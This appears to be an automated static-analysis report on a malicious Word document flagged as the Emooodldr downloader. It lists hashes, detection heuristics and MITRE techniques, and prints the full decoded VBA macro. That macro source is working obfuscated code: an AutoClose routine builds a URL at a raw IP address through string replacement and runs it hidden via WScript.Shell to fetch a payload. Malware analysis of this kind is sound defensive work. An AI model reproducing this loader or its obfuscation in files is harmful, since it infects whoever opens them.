Emooodldr — Office (OOXML) malware analysis

Static analysis result for SHA-256 d10f6ae7735ec176…

MALICIOUS

Office (OOXML)

55.3 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-02-10
MD5: 36027b6b489adcbbd12dc845f193cf37 SHA-1: 342d96b456046c71cf7371d64bc8c07d77edacf1 SHA-256: d10f6ae7735ec1767efb756a14aa8f45d3d0b926787eb6e682ae85a4f2e5f5af
322 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is an Office document containing obfuscated VBA macros, specifically an Auto_Close macro that uses CreateObject to execute a second-stage payload. The ClamAV detection and heuristic firings strongly indicate this is a downloader. The reconstructed URL 'http://104.144.207.225/LEX/RQzOrRMGfWMLnch.php?uqDqTAoyScEzpyAJgVfVZwfLU=proji' is the likely destination for the payload download.

Heuristics 7

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2961 bytes
SHA-256: f48ff7582f72ebbf05dbfb9816c8af90ac494897b532a3c1d79937833ddc501d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub eterno()
 QUxTTbyYZup = 1413 - 1687 - 874
BbGTEOMobXFz = "N" & "T" & Trim("j") & Trim("k")
VSYVxwuucCzX = "L" & Trim("k") & "n" & "T"
OwwbXdwRTwk = "y" & Trim("T") & Trim("b")

 gustavo = "qDqTAoyScEzpRQzOrRMGfWMLhJTUoyiQnwvRGyAJgVfVZwfLU hJTUoyiQnwvRGJTUoyiQnwvRGp://104.144.207.225/LEX/RQzOrRMGfWMLniJTUoyiQnwvRGch.php?uJTUoyiQnwvRGqDqTAoyScEzpyAJgVfVZwfLU=proji"
gustavo = Replace(gustavo, "qDqTAoyScEzp", "m")
JTxrYZQuUWNI = 1354 + 646 + 980 + 223 + 430 + 1343
gustavo = Replace(gustavo, "yAJgVfVZwfLU", "a")
gNkPqLKc = 934 + 1491 + 1414 + 289
XbAuSyVxJd = Trim("i") & "L" & "U" & "G"
ViWPbLIAGL = 1642 + 1220 + 98 + 955
SVKQJqY = 785 - 730 - 861 - 77 - 715
gustavo = Replace(gustavo, "RQzOrRMGfWML", "s")
gustavo = Replace(gustavo, "JTUoyiQnwvRG", "t")
gustavo = Replace(gustavo, "zTIbOdHOOOAC", "e")
vArInjiO = "g" & "D" & Trim("n") & "g" & "A"
RUTujJVyKXRp = "V" & "r"
KEUqudDVfyv = 847 - 1928 - 113 - 1771 - 1454
OLgPuVNJr = Trim("D") & "r" & "L" & Trim("v")
gustavo = Replace(gustavo, "PMDFbbCzGkfD", "l")
YpvCDMQ = 778 - 1910 - 728
MvqQRFn = 1276 - 1681 - 1608 - 893 - 311 - 1071
GzMBcnPcC = 583 - 1179 - 1204
gwgyzIodPWoA = "W" & "D" & "M" & "z"

xampu = "WScripxfdxWgZRRRwU.ShVVbTIyqpJcBZQgZEBTnrDAPkQgZEBTnrDAPk"
xampu = Replace(xampu, "DYECdQODSFfX", "m")
XSFxMkCiuYB = "V" & Trim("y") & Trim("I")
xampu = Replace(xampu, "vdnOpHouQGiT", "a")
AofDfySjUpH = 948 - 1703 - 1942
MDXvfopxg = 835 - 634
XoEzNTog = 1305 + 931 + 635 + 1939 + 805 + 1130 + 252
ixLrBoU = 449 - 1743 - 1282 - 58
xampu = Replace(xampu, "FHuSgXgrXkDW", "s")
ZNOxXunG = 748 + 246 + 1716 + 1712
TdIBrIH = 529 - 738
wqCJLxzNk = 520 - 1315 - 258 - 184
xampu = Replace(xampu, "xfdxWgZRRRwU", "t")
xampu = Replace(xampu, "VVbTIyqpJcBZ", "e")
OjSuBQPoPibR = Trim("i") & "d" & "K"
iEkRGgcW = 1672 - 185 - 994
czCNiXrGyZ = 910 + 141
xampu = Replace(xampu, "QgZEBTnrDAPk", "l")
VZOPBxd = 1560 - 194 - 1718
fzBWpqOCM = 1389 - 623 - 709 - 1605 - 1212
kVNiwnX = "R" & "j" & Trim("T") & Trim("x") & Trim("B")


 CreateObject(xampu).Run gustavo, 0
 bDbqgxMf = 1239 - 784 - 477 - 1153
oGbuJQqPQ = 1674 + 1929 + 367 + 1479
ZVdQOMzZ = 607 - 878 - 1559 - 703 - 53
JOicbfEn = Trim("i") & Trim("U") & "r" & "j"

End Sub

Sub AutoClose()

  ZiBiAIrI = 1612 - 478 - 1406 - 294
PXifBjqD = 166 + 1832 + 938 + 789
IBHGTpZcuWFW = "y" & Trim("n") & Trim("P") & Trim("P")
HgAJgDxiDdY = Trim("k") & Trim("Q") & Trim("d") & "w" & "o" & "r"
pLqXrCckG = 910 + 554 + 1103 + 206

  Application.Run "eterno"
  LQIAfIAfbjT = 667 - 1410 - 1117
oGWFiKcA = 189 + 293 + 1336
ccrgJpj = "P" & "W" & Trim("g")
nQFzvXT = 220 - 273 - 1984 - 1410

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 14336 bytes
SHA-256: d31710f9088f4d4a4381ac941bd09a34571304ec4b35f47830f68330b4fc5aa5
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.